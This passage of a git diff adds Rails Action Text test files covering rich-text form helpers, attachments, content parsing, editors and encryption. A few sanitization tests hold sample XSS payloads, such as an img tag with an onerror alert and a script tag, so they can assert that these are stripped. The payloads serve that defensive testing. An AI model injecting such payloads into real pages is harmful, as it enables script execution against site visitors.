+        <input type="hidden" name="message[title]" id="message_title_trix_input_message" value="&lt;h1&gt;hello world&lt;/h1&gt;" />
+        <trix-editor id="message_title" input="message_title_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area with value with block" do
+    model = Message.new content: "<h1>ignored</h1>"
+
+    form_with model: model, scope: :message do |form|
+      form.rich_textarea :title do
+        "<h1>hello world</h1>"
+      end
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[title]" id="message_title_trix_input_message" value="&lt;h1&gt;hello world&lt;/h1&gt;" />
+        <trix-editor id="message_title" input="message_title_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area with form attribute" do
+    form_with model: Message.new, scope: :message do |form|
+      form.rich_textarea :title, form: "other_form"
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[title]" id="message_title_trix_input_message" form="other_form" />
+        <trix-editor id="message_title" input="message_title_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area with data[direct_upload_url]" do
+    form_with model: Message.new, scope: :message do |form|
+      form.rich_textarea :content, data: { direct_upload_url: "http://test.host/direct_uploads" }
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[content]" id="message_content_trix_input_message" />
+        <trix-editor id="message_content" input="message_content_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/direct_uploads" data-blob-url-template="http://test.host/rails/active_storage/blobs/redirect/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+
+  test "form with rich text area with data[blob_url_template]" do
+    form_with model: Message.new, scope: :message do |form|
+      form.rich_textarea :content, data: { blob_url_template: "http://test.host/blobs/:signed_id/:filename" }
+    end
+
+    assert_dom_equal(<<~HTML, output_buffer)
+      <form action="/messages" accept-charset="UTF-8" method="post">
+        <input type="hidden" name="message[content]" id="message_content_trix_input_message" />
+        <trix-editor id="message_content" input="message_content_trix_input_message" class="trix-content" data-direct-upload-url="http://test.host/rails/active_storage/direct_uploads" data-blob-url-template="http://test.host/blobs/:signed_id/:filename">
+        </trix-editor>
+      </form>
+    HTML
+  end
+end
diff --git a/actiontext/test/test_helper.rb b/actiontext/test/test_helper.rb
new file mode 100644
index 0000000000000..309690d8dc620
--- /dev/null
+++ b/actiontext/test/test_helper.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require_relative "../../tools/strict_warnings"
+
+# Configure Rails Environment
+ENV["RAILS_ENV"] = "test"
+
+require_relative "../test/dummy/config/environment"
+require "active_record/testing/query_assertions"
+ActiveRecord::Migrator.migrations_paths = [ File.expand_path("../test/dummy/db/migrate", __dir__) ]
+require "rails/test_help"
+
+require "rails/test_unit/reporter"
+Rails::TestUnitReporter.executable = "bin/test"
+
+# Disable available locale checks to allow to add locale after initialized.
+I18n.enforce_available_locales = false
+
+# Load fixtures from the engine
+if ActiveSupport::TestCase.respond_to?(:fixture_paths=)
+  ActiveSupport::TestCase.fixture_paths = [File.expand_path("fixtures", __dir__)]
+  ActionDispatch::IntegrationTest.fixture_paths = ActiveSupport::TestCase.fixture_paths
+  ActiveSupport::TestCase.file_fixture_path = File.expand_path("fixtures", __dir__) + "/files"
+  ActiveSupport::TestCase.fixtures :all
+end
+
+class ActiveSupport::TestCase
+  module QueryHelpers
+    include ActiveJob::TestHelper
+    include ActiveRecord::Assertions::QueryAssertions
+  end
+
+  private
+    def create_file_blob(filename:, content_type:, metadata: nil)
+      ActiveStorage::Blob.create_and_upload! io: file_fixture(filename).open, filename: filename, content_type: content_type, metadata: metadata
+    end
+end
+
+# Encryption
+ActiveRecord::Encryption.configure \
+  primary_key: "test master key",
+  deterministic_key: "test deterministic key",
+  key_derivation_salt: "testing key derivation salt",
+  support_unencrypted_data: true
+
+require_relative "../../tools/test_common"
diff --git a/actiontext/test/unit/attachable_test.rb b/actiontext/test/unit/attachable_test.rb
new file mode 100644
index 0000000000000..bdf46b42d64fc
--- /dev/null
+++ b/actiontext/test/unit/attachable_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::AttachableTest < ActiveSupport::TestCase
+  test "as_json is a hash when the attachable is persisted" do
+    freeze_time do
+      attachable = ActiveStorage::Blob.create_after_unfurling!(io: StringIO.new("test"), filename: "test.txt", key: 123)
+      attributes = {
+        id: attachable.id,
+        key: "123",
+        filename: "test.txt",
+        content_type: "text/plain",
+        metadata: { identified: true },
+        service_name: "test",
+        byte_size: 4,
+        checksum: "CY9rzUYh03PK3k6DJie09g==",
+        created_at: Time.zone.now.as_json,
+        attachable_sgid: attachable.attachable_sgid
+      }.deep_stringify_keys
+
+      assert_equal attributes, attachable.as_json
+    end
+  end
+
+  test "as_json is a hash when the attachable is a new record" do
+    attachable = ActiveStorage::Blob.build_after_unfurling(io: StringIO.new("test"), filename: "test.txt", key: 123)
+    attributes = {
+      id: nil,
+      key: "123",
+      filename: "test.txt",
+      content_type: "text/plain",
+      metadata: { identified: true },
+      service_name: "test",
+      byte_size: 4,
+      checksum: "CY9rzUYh03PK3k6DJie09g==",
+      created_at: nil,
+      attachable_sgid: nil
+    }.deep_stringify_keys
+
+    assert_equal attributes, attachable.as_json
+  end
+
+  test "attachable_sgid is included in as_json when only option is nil or includes attachable_sgid" do
+    attachable = ActiveStorage::Blob.create_after_unfurling!(io: StringIO.new("test"), filename: "test.txt", key: 123)
+
+    assert_equal({ "id" => attachable.id }, attachable.as_json(only: :id))
+    assert_equal({ "id" => attachable.id }, attachable.as_json(only: [:id]))
+    assert_equal(attachable.as_json.except("attachable_sgid"), attachable.as_json(except: :attachable_sgid))
+    assert_equal(attachable.as_json.except("attachable_sgid"), attachable.as_json(except: [:attachable_sgid]))
+  end
+end
diff --git a/actiontext/test/unit/attachment_test.rb b/actiontext/test/unit/attachment_test.rb
new file mode 100644
index 0000000000000..416994ed948c9
--- /dev/null
+++ b/actiontext/test/unit/attachment_test.rb
@@ -0,0 +1,106 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::AttachmentTest < ActiveSupport::TestCase
+  test "from_attachable" do
+    attachment = ActionText::Attachment.from_attachable(attachable, caption: "Captioned")
+    assert_equal attachable, attachment.attachable
+    assert_equal "Captioned", attachment.caption
+  end
+
+  test "proxies missing methods to attachable" do
+    attachable.instance_eval { def proxied; "proxied"; end }
+    attachment = ActionText::Attachment.from_attachable(attachable)
+    assert_equal "proxied", attachment.proxied
+  end
+
+  test "proxies #to_param to attachable" do
+    attachment = ActionText::Attachment.from_attachable(attachable)
+    assert_equal attachable.to_param, attachment.to_param
+  end
+
+  test "converts to TrixAttachment" do
+    attachment = attachment_from_html(%Q(<action-text-attachment sgid="#{attachable.attachable_sgid}" caption="Captioned"></action-text-attachment>))
+
+    trix_attachment = assert_deprecated(ActionText.deprecator) { attachment.to_trix_attachment }
+    assert_kind_of ActionText::TrixAttachment, trix_attachment
+
+    assert_equal attachable.attachable_sgid, trix_attachment.attributes["sgid"]
+    assert_equal attachable.attachable_content_type, trix_attachment.attributes["contentType"]
+    assert_equal attachable.filename.to_s, trix_attachment.attributes["filename"]
+    assert_equal attachable.byte_size, trix_attachment.attributes["filesize"]
+    assert_equal "Captioned", trix_attachment.attributes["caption"]
+
+    assert_nil ActionText.deprecator.silence { attachable.to_trix_content_attachment_partial_path }
+    assert_nil attachable.to_editor_content_attachment_partial_path
+    assert_nil trix_attachment.attributes["content"]
+  end
+
+  test "converts to TrixAttachment with content" do
+    attachable = Person.create! name: "Javan"
+    attachment = attachment_from_html(%Q(<action-text-attachment sgid="#{attachable.attachable_sgid}"></action-text-attachment>))
+
+    trix_attachment = assert_deprecated(ActionText.deprecator) { attachment.to_trix_attachment }
+    assert_kind_of ActionText::TrixAttachment, trix_attachment
+
+    assert_equal attachable.attachable_sgid, trix_attachment.attributes["sgid"]
+    assert_equal attachable.attachable_content_type, trix_attachment.attributes["contentType"]
+
+    assert_not_nil ActionText.deprecator.silence { attachable.to_trix_content_attachment_partial_path }
+    assert_not_nil attachable.to_editor_content_attachment_partial_path
+    assert_not_nil trix_attachment.attributes["content"]
+  end
+
+  test "converts to plain text" do
+    assert_equal "[Vroom vroom]", ActionText::Attachment.from_attachable(attachable, caption: "Vroom vroom").to_plain_text
+    assert_equal "[racecar.jpg]", ActionText::Attachment.from_attachable(attachable).to_plain_text
+  end
+
+  test "converts HTML content attachment" do
+    attachment = attachment_from_html('<action-text-attachment content-type="text/html" content="abc"></action-text-attachment>')
+    attachable = attachment.attachable
+
+    assert_kind_of ActionText::Attachables::ContentAttachment, attachable
+    assert_equal "text/html", attachable.content_type
+    assert_equal "abc", attachable.content
+
+    trix_attachment = assert_deprecated(ActionText.deprecator) { attachment.to_trix_attachment }
+    assert_kind_of ActionText::TrixAttachment, trix_attachment
+
+    assert_equal "text/html", trix_attachment.attributes["contentType"]
+    assert_equal "abc", trix_attachment.attributes["content"]
+  end
+
+  test "renders content attachment" do
+    html = '<action-text-attachment content-type="text/html" content="&lt;p&gt;abc&lt;/p&gt;"></action-text-attachment>'
+    attachment = attachment_from_html(html)
+    attachable = attachment.attachable
+
+    ActionText::Content.with_renderer MessagesController.renderer do
+      assert_equal "<p>abc</p>", attachable.to_html.strip
+    end
+  end
+
+  test "to_trix_html sanitizes action-text HTML content attachment" do
+    attachment = ActionText::Content.new("<action-text-attachment content-type=\"text/html\" content=\"<img src=. onerror='alert(location)' />\"></action-text-attachment>")
+    attachment_to_trix_html = assert_deprecated(ActionText.deprecator) { attachment.to_trix_html }
+
+    assert_equal "<figure data-trix-attachment=\"{&quot;contentType&quot;:&quot;text/html&quot;,&quot;content&quot;:&quot;<img src=\\&quot;.\\&quot;>&quot;}\"></figure>", attachment_to_trix_html
+  end
+
+  test "defaults trix partial to model partial" do
+    attachable = Page.create! title: "Homepage"
+    assert_equal "pages/page", assert_deprecated(ActionText.deprecator) { attachable.to_trix_content_attachment_partial_path }
+    assert_equal "pages/page", attachable.to_editor_content_attachment_partial_path
+  end
+
+  private
+    def attachment_from_html(html)
+      ActionText::Content.new(html).attachments.first
+    end
+
+    def attachable
+      @attachment ||= create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    end
+end
diff --git a/actiontext/test/unit/content_test.rb b/actiontext/test/unit/content_test.rb
new file mode 100644
index 0000000000000..7c8bfc4375ed8
--- /dev/null
+++ b/actiontext/test/unit/content_test.rb
@@ -0,0 +1,264 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::ContentTest < ActiveSupport::TestCase
+  test "equality" do
+    html = "<div>test</div>"
+    content = content_from_html(html)
+    assert_equal content, content_from_html(html)
+    assert_not_equal content, html
+  end
+
+  test "marshal serialization" do
+    content = content_from_html("Hello!")
+    assert_equal content, Marshal.load(Marshal.dump(content))
+  end
+
+  test "roundtrips HTML without additional newlines" do
+    html = "<div>a<br></div>"
+    content = content_from_html(html)
+    assert_equal html, content.to_html
+  end
+
+  test "extracts links" do
+    html = '<a href="http://example.com/1">1</a><br><a href="http://example.com/1">1</a>'
+    content = content_from_html(html)
+    assert_equal ["http://example.com/1"], content.links
+  end
+
+  test "extracts attachables" do
+    attachable = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    html = %Q(<action-text-attachment sgid="#{attachable.attachable_sgid}" caption="Captioned"></action-text-attachment>)
+
+    content = content_from_html(html)
+    assert_equal 1, content.attachments.size
+
+    attachment = content.attachments.first
+    assert_equal "Captioned", attachment.caption
+    assert_equal attachable, attachment.attachable
+  end
+
+  test "extracts remote image attachables" do
+    html = '<action-text-attachment content-type="image" url="http://example.com/cat.jpg" width="100" height="100" caption="Captioned"></action-text-attachment>'
+
+    content = content_from_html(html)
+    assert_equal 1, content.attachments.size
+
+    attachment = content.attachments.first
+    assert_equal "Captioned", attachment.caption
+
+    attachable = attachment.attachable
+    assert_kind_of ActionText::Attachables::RemoteImage, attachable
+    assert_equal "http://example.com/cat.jpg", attachable.url
+    assert_equal "100", attachable.width
+    assert_equal "100", attachable.height
+  end
+
+  test "treats image attachments with non-URL paths as missing" do
+    html = '<action-text-attachment content-type="image/*" url="image.png" width="100" height="100"></action-text-attachment>'
+
+    content = content_from_html(html)
+    assert_equal 1, content.attachments.size
+
+    attachable = content.attachments.first.attachable
+    assert_kind_of ActionText::Attachables::MissingAttachable, attachable
+  end
+
+  test "identifies destroyed attachables as missing" do
+    file = create_file_blob(filename: "racecar.jpg", content_type: "image/jpeg")
+    html = %Q(<action-text-attachment sgid="#{file.attachable_sgid}"></action-text-attachment>)
+    file.destroy!
+    content = content_from_html(html)
+    assert_equal 1, content.attachments.size
+
+    attachable = content.attachments.first.attachable
+    assert_kind_of ActionText::Attachables::MissingAttachable, attachable
+    assert_equal file.class, attachable.model
+    assert_equal ActionText::Attachables::MissingAttachable::DEFAULT_PARTIAL_PATH, attachable.to_partial_path
+  end
+
+  test "extracts missing attachables" do
+    html = '<action-text-attachment sgid="missing"></action-text-attachment>'
+    content = content_from_html(html)
+    assert_equal 1, content.attachments.size
+
+    attachable = content.attachments.first.attachable
+    assert_kind_of ActionText::Attachables::MissingAttachable, attachable
+    assert_nil attachable.model
+  end
+
+  test "converts Trix-formatted attachments" do
+    html = %Q(<figure data-trix-attachment='{"sgid":"123","contentType":"text/plain","width":100,"height":100}' data-trix-attributes='{"caption":"Captioned"}'></figure>)
+    content = content_from_html(html)
+    assert_equal 1, content.attachments.size
+    assert_equal '<action-text-attachment sgid="123" content-type="text/plain" width="100" height="100" caption="Captioned"></action-text-attachment>', content.to_html
+  end
+
+  test "converts Trix-formatted attachments with custom tag name" do
+    with_attachment_tag_name("arbitrary-tag") do
+      html = %Q(<figure data-trix-attachment='{"sgid":"123","contentType":"text/plain","width":100,"height":100}' data-trix-attributes='{"caption":"Captioned"}'></figure>)
+      content = content_from_html(html)
+      assert_equal 1, content.attachments.size
+      assert_equal '<arbitrary-tag sgid="123" content-type="text/plain" width="100" height="100" caption="Captioned"></arbitrary-tag>', content.to_html
+    end
+  end
+
+  test "ignores Trix-formatted attachments with malformed JSON" do
+    html = %Q(<div data-trix-attachment='{"sgid":"garbage...'></div>)
+    content = content_from_html(html)
+    assert_equal 0, content.attachments.size
+  end
+
+  test "minifies attachment markup" do
+    html = '<action-text-attachment sgid="123"><div>HTML</div></action-text-attachment>'
+    assert_equal '<action-text-attachment sgid="123"></action-text-attachment>', content_from_html(html).to_html
+  end
+
+  test "canonicalizes attachment gallery markup" do
+    attachment_html = '<action-text-attachment sgid="1" presentation="gallery"></action-text-attachment><action-text-attachment sgid="2" presentation="gallery"></action-text-attachment>'
+    html = %Q(<div class="attachment-gallery attachment-gallery--2">#{attachment_html}</div>)
+    assert_equal "<div>#{attachment_html}</div>", content_from_html(html).to_html
+  end
+
+  test "canonicalizes attachment gallery markup with whitespace" do
+    attachment_html = %Q(\n  <action-text-attachment sgid="1" presentation="gallery"></action-text-attachment>\n  <action-text-attachment sgid="2" presentation="gallery"></action-text-attachment>\n)
+    html = %Q(<div class="attachment-gallery attachment-gallery--2">#{attachment_html}</div>)
+    assert_equal "<div>#{attachment_html}</div>", content_from_html(html).to_html
+  end
+
+  test "canonicalizes nested attachment gallery markup" do
+    attachment_html = '<action-text-attachment sgid="1" presentation="gallery"></action-text-attachment><action-text-attachment sgid="2" presentation="gallery"></action-text-attachment>'
+    html = %Q(<blockquote><div class="attachment-gallery attachment-gallery--2">#{attachment_html}</div></blockquote>)
+    assert_equal "<blockquote><div>#{attachment_html}</div></blockquote>", content_from_html(html).to_html
+  end
+
+  test "renders with layout when ApplicationController is not defined" do
+    html = "<h1>Hello world</h1>"
+    rendered = content_from_html(html).to_rendered_html_with_layout
+
+    assert_includes rendered, html
+    assert_match %r/\A#{Regexp.escape '<div class="trix-content">'}/, rendered
+    assert_not defined?(::ApplicationController)
+  end
+
+  test "does basic sanitization" do
+    html = "<div onclick='action()'>safe<script>unsafe</script></div>"
+    rendered = content_from_html(html).to_rendered_html_with_layout
+
+    assert_not_includes rendered, "<script>"
+    assert_not_includes rendered, "action"
+  end
+
+  test "does custom tag sanitization" do
+    old_tags = ActionText::ContentHelper.allowed_tags
+    old_attrs = ActionText::ContentHelper.allowed_attributes
+    ActionText::ContentHelper.allowed_tags = ["div"] # not 'span'
+    ActionText::ContentHelper.allowed_attributes = ["size"] # not 'class'
+
+    html = "<div size='large' class='high'>safe<span>unsafe</span></div>"
+    rendered = content_from_html(html).to_rendered_html_with_layout
+
+    assert_includes rendered, "<div"
+    assert_not_includes rendered, "<span"
+    assert_includes rendered, "large"
+    assert_not_includes rendered, "high"
+  ensure
+    ActionText::ContentHelper.allowed_tags = old_tags
+    ActionText::ContentHelper.allowed_attributes = old_attrs
+  end
+
+  test "sanitizes attachment markup for Trix" do
+    html = '<action-text-attachment content="<img src=\&quot;.\&quot; onerror=alert>"></action-text-attachment>'
+    trix_html = '<figure data-trix-attachment="{&quot;content&quot;:&quot;<img src=\\&quot;\\\\%22.\\\\%22\\&quot;>&quot;}"></figure>'
+    content_to_trix_html = assert_deprecated(ActionText.deprecator) { content_from_html(html).to_trix_html }
+    assert_equal trix_html, content_to_trix_html.strip
+  end
+
+  test "removes content attribute if it's value is empty" do
+    html = '<action-text-attachment sgid="123" content=""></action-text-attachment>'
+    trix_html = '<figure data-trix-attachment="{&quot;sgid&quot;:&quot;123&quot;}"></figure>'
+    content_to_trix_html = assert_deprecated(ActionText.deprecator) { content_from_html(html).to_trix_html }
+    assert_equal trix_html, content_to_trix_html.strip
+  end
+
+  test "removes content attribute if it's value is empty after sanitization" do
+    html = '<action-text-attachment sgid="123" content="<script></script>"></action-text-attachment>'
+    trix_html = '<figure data-trix-attachment="{&quot;sgid&quot;:&quot;123&quot;}"></figure>'
+    content_to_trix_html = assert_deprecated(ActionText.deprecator) { content_from_html(html).to_trix_html }
+    assert_equal trix_html, content_to_trix_html.strip
+  end
+
+  test "does not add missing content attribute" do
+    html = '<action-text-attachment sgid="123"></action-text-attachment>'
+    trix_html = '<figure data-trix-attachment="{&quot;sgid&quot;:&quot;123&quot;}"></figure>'
+    content_to_trix_html = assert_deprecated(ActionText.deprecator) { content_from_html(html).to_trix_html }
+    assert_equal trix_html, content_to_trix_html.strip
+  end
+
+  test "renders with layout when in a new thread" do
+    html = "<h1>Hello world</h1>"
+    rendered = nil
+    Thread.new { rendered = content_from_html(html).to_rendered_html_with_layout }.join
+
+    assert_includes rendered, html
+    assert_match %r/\A#{Regexp.escape '<div class="trix-content">'}/, rendered
+  end
+
+  test "replace certain nodes" do
+    html = <<~HTML
+      <div>
+        <p>replace me</p>
+        <p>ignore me</p>
+      </div>
+    HTML
+
+    expected_html = <<~HTML
+      <div>
+        <p>replaced</p>
+        <p>ignore me</p>
+      </div>
+    HTML
+
+    content = content_from_html(html)
+    replaced_fragment = content.fragment.replace("p") do |node|
+      if node.text =~ /replace me/
+        "<p>replaced</p>"
+      else
+        node
+      end
+    end
+
+    assert_equal expected_html.strip, replaced_fragment.to_html
+  end
+
+  test "delegates pattern matching to Nokogiri" do
+    content = ActionText::Content.new <<~HTML
+      <h1 id="hello-world">Hello, world</h1>
+
+      <div>The body</div>
+    HTML
+
+    content => [h1, div]
+
+    assert_pattern { h1 => { name: "h1", content: "Hello, world", attributes: [{ name: "id", value: "hello-world" }] } }
+    refute_pattern { h1 => { name: "h1", content: "Goodbye, world" } }
+    assert_pattern { div => { content: "The body" } }
+  end
+
+  private
+    def content_from_html(html)
+      ActionText::Content.new(html).tap do |content|
+        assert_nothing_raised { content.to_s }
+      end
+    end
+
+    def with_attachment_tag_name(tag_name)
+      previous_tag_name = ActionText::Attachment.tag_name
+      ActionText::Attachment.tag_name = tag_name
+
+      yield
+    ensure
+      ActionText::Attachment.tag_name = previous_tag_name
+    end
+end
diff --git a/actiontext/test/unit/editor/configurator_test.rb b/actiontext/test/unit/editor/configurator_test.rb
new file mode 100644
index 0000000000000..ce5ab88294d8e
--- /dev/null
+++ b/actiontext/test/unit/editor/configurator_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::Editor::ConfiguratorTest < ActiveSupport::TestCase
+  test "builds correct editor instance based on editor name" do
+    configurator = ActionText::Editor::Configurator.new(trix: {})
+    editor = configurator.build(:trix)
+    assert_instance_of ActionText::Editor::TrixEditor, editor
+  end
+
+  test "raises error when passing non-existent editor name" do
+    configurator = ActionText::Editor::Configurator.new({})
+    assert_raise RuntimeError do
+      configurator.build(:bigfoot)
+    end
+  end
+
+  test "inspect attributes" do
+    config = {
+      trix: {},
+      lexxy: {}
+    }
+
+    configurator = ActionText::Editor::Configurator.new(config)
+    assert_match(/#<ActionText::Editor::Configurator configurations=\[:trix, :lexxy\]>/, configurator.inspect)
+
+    configurator = ActionText::Editor::Configurator.new({})
+    assert_match(/#<ActionText::Editor::Configurator>/, configurator.inspect)
+  end
+end
diff --git a/actiontext/test/unit/editor/registry_test.rb b/actiontext/test/unit/editor/registry_test.rb
new file mode 100644
index 0000000000000..6af8655f03176
--- /dev/null
+++ b/actiontext/test/unit/editor/registry_test.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::Editor::RegistryTest < ActiveSupport::TestCase
+  test "inspect attributes" do
+    registry = ActionText::Editor::Registry.new({})
+    assert_match(/#<ActionText::Editor::Registry>/, registry.inspect)
+  end
+
+  test "inspect attributes with config" do
+    config = {
+      trix: {},
+      lexxy: {}
+    }
+
+    registry = ActionText::Editor::Registry.new(config)
+    assert_match(/#<ActionText::Editor::Registry configurations=\[:trix, :lexxy\]>/, registry.inspect)
+  end
+end
diff --git a/actiontext/test/unit/editor/trix_editor_test.rb b/actiontext/test/unit/editor/trix_editor_test.rb
new file mode 100644
index 0000000000000..e524fff21a475
--- /dev/null
+++ b/actiontext/test/unit/editor/trix_editor_test.rb
@@ -0,0 +1,66 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+module ActionText
+  class Editor::TrixEditorTest < ActionView::TestCase
+    test "#as_canonical transforms Fragment for storage" do
+      expected = "<div>hello, world</div>"
+      fragment = Fragment.wrap(expected)
+      editor = ActionText::Editor::TrixEditor.new
+
+      actual = editor.as_canonical(fragment)
+
+      assert_kind_of Fragment, actual
+      assert_dom_equal expected, actual.to_html
+    end
+
+    test "#as_editable transforms Fragment for editing" do
+      expected = "<div>hello, world</div>"
+      fragment = Fragment.wrap(expected)
+      editor = ActionText::Editor::TrixEditor.new
+
+      actual = editor.as_editable(fragment)
+
+      assert_kind_of Fragment, actual
+      assert_dom_equal expected, actual.to_html
+    end
+
+    test "#editor_name removes the Editor suffix" do
+      editor = ActionText::Editor::TrixEditor.new
+
+      assert_equal "trix", editor.editor_name
+    end
+
+    test "#editor_tag returns a renderable" do
+      editor = ActionText::Editor::TrixEditor.new
+
+      render(editor.editor_tag(name: "message[body]"))
+
+      trix_editor = rendered.html.at("trix-editor")
+      input       = rendered.html.at("input[id][type=hidden]")
+      assert_not trix_editor.key?("name")
+      assert_equal "trix-content", trix_editor["class"]
+      assert_equal input["id"], trix_editor["input"]
+      assert_equal "message[body]", input["name"]
+    end
+
+    test "#editor_tag forwards the :form to its input element" do
+      editor = ActionText::Editor::TrixEditor.new
+
+      render(editor.editor_tag(form: "form_id"))
+
+      assert_dom "trix-editor[form]", count: 0
+      assert_dom "input[form=?]", "form_id"
+    end
+
+    test "#editor_tag forwards the :value attribute to its input element" do
+      editor = ActionText::Editor::TrixEditor.new
+
+      render(editor.editor_tag(value: "<div>hello</div>"))
+
+      assert_dom "trix-editor[value]", count: 0
+      assert_dom "input[value=?]", "<div>hello</div>"
+    end
+  end
+end
diff --git a/actiontext/test/unit/editor_test.rb b/actiontext/test/unit/editor_test.rb
new file mode 100644
index 0000000000000..5fe81e99647cc
--- /dev/null
+++ b/actiontext/test/unit/editor_test.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::EditorTest < ActionView::TestCase
+  test "#as_canonical returns Fragment for storage" do
+    expected = "<div>hello, world</div>"
+    fragment = Fragment.wrap(expected)
+    editor = Editor.new
+
+    actual = editor.as_canonical(fragment)
+
+    assert_kind_of Fragment, actual
+    assert_dom_equal expected, actual.to_html
+  end
+
+  test "#as_editable returns Fragment for editing" do
+    expected = "<div>hello, world</div>"
+    fragment = Fragment.wrap(expected)
+    editor = Editor.new
+
+    actual = editor.as_editable(fragment)
+
+    assert_kind_of Fragment, actual
+    assert_dom_equal expected, actual.to_html
+  end
+end
+
+class ActionText::Editor::SubclassTest < ActionView::TestCase
+  class TestEditor < ActionText::Editor
+    def as_canonical(editable_fragment)
+      editable_fragment = editable_fragment.replace "test-editor-attachment" do |editor_attachment|
+        ActionText::Attachment.from_attributes(
+          "sgid" => editor_attachment["sgid"],
+          "content-type" => editor_attachment["content-type"]
+        )
+      end
+
+      super
+    end
+
+    def as_editable(canonical_fragment)
+      canonical_fragment = canonical_fragment.replace ActionText::Attachment.tag_name do |action_text_attachment|
+        attachment_attributes = {
+          "sgid" => action_text_attachment["sgid"],
+          "content-type" => action_text_attachment["content-type"]
+        }
+
+        ActionText::HtmlConversion.create_element("test-editor-attachment", attachment_attributes)
+      end
+
+      super
+    end
+  end
+
+  test "#as_canonical transforms Fragment for storage" do
+    fragment = Fragment.wrap(<<~HTML)
+      <test-editor-attachment sgid="abc123" content-type="plain/text"></test-editor-attachment>
+    HTML
+    editor = TestEditor.new
+
+    actual = editor.as_canonical(fragment)
+
+    assert_kind_of Fragment, actual
+    assert_dom_equal <<~HTML, actual.to_html
+      <action-text-attachment sgid="abc123" content-type="plain/text"></action-text-attachment>
+    HTML
+  end
+
+  test "#as_editable transforms Fragment for editing" do
+    fragment = Fragment.wrap(<<~HTML)
+      <action-text-attachment sgid="abc123" content-type="plain/text"></action-text-attachment>
+    HTML
+    editor = TestEditor.new
+
+    actual = editor.as_editable(fragment)
+
+    assert_kind_of Fragment, actual
+    assert_dom_equal <<~HTML, actual.to_html
+      <test-editor-attachment sgid="abc123" content-type="plain/text"></test-editor-attachment>
+    HTML
+  end
+
+  test "#editor_name removes the Editor suffix" do
+    editor = TestEditor.new
+
+    assert_equal "test", editor.editor_name
+  end
+
+  test "#editor_tag returns a renderable" do
+    editor = TestEditor.new
+    editor_tag = editor.editor_tag(id: "test_editor_id", name: "message[body]", value: "<div>hello</div>")
+
+    render(editor_tag)
+
+    element = rendered.html.at("test-editor")
+    assert_equal "message[body]", element["name"]
+    assert_equal "test_editor_id", element["id"]
+    assert_equal "test-content", element["class"]
+    assert_equal "<div>hello</div>", element["value"]
+  end
+end
diff --git a/actiontext/test/unit/fixture_set_test.rb b/actiontext/test/unit/fixture_set_test.rb
new file mode 100644
index 0000000000000..08108c27f6711
--- /dev/null
+++ b/actiontext/test/unit/fixture_set_test.rb
@@ -0,0 +1,14 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::FixtureSetTest < ActiveSupport::TestCase
+  def test_action_text_attachment
+    message = messages(:hello_world)
+    review = reviews(:hello_world)
+
+    attachments = review.content.body.attachments
+
+    assert_includes attachments.map(&:attachable), message
+  end
+end
diff --git a/actiontext/test/unit/model_encryption_test.rb b/actiontext/test/unit/model_encryption_test.rb
new file mode 100644
index 0000000000000..754dbd2010d5c
--- /dev/null
+++ b/actiontext/test/unit/model_encryption_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::ModelEncryptionTest < ActiveSupport::TestCase
+  test "encrypt content based on :encrypted option at declaration time" do
+    encrypted_message = EncryptedMessage.create!(subject: "Greetings", content: "Hey there")
+    assert_encrypted_rich_text_attribute encrypted_message, :content, "Hey there"
+
+    clear_message = Message.create!(subject: "Greetings", content: "Hey there")
+    assert_not_encrypted_rich_text_attribute clear_message, :content, "Hey there"
+  end
+
+  test "include rich text attributes when encrypting the model" do
+    content = "<p>the space force is here, we are safe now!</p>"
+
+    message = ActiveRecord::Encryption.without_encryption do
+      EncryptedMessage.create!(subject: "Greetings", content: content)
+    end
+
+    message.encrypt
+
+    assert_encrypted_rich_text_attribute(message, :content, content)
+  end
+
+  private
+    def assert_encrypted_rich_text_attribute(model, attribute_name, expected_value)
+      assert_not_equal expected_value, model.send(attribute_name).ciphertext_for(:body)
+      assert_equal expected_value, model.reload.send(attribute_name).body.to_html
+    end
+
+    def assert_not_encrypted_rich_text_attribute(model, attribute_name, expected_value)
+      assert_equal expected_value, model.send(attribute_name).ciphertext_for(:body)
+      assert_equal expected_value, model.reload.send(attribute_name).body.to_html
+    end
+end
diff --git a/actiontext/test/unit/model_test.rb b/actiontext/test/unit/model_test.rb
new file mode 100644
index 0000000000000..e57d6567efb56
--- /dev/null
+++ b/actiontext/test/unit/model_test.rb
@@ -0,0 +1,182 @@
+# frozen_string_literal: true
+
+require "test_helper"
+
+class ActionText::ModelTest < ActiveSupport::TestCase
+  include QueryHelpers
+
+  test "html conversion" do
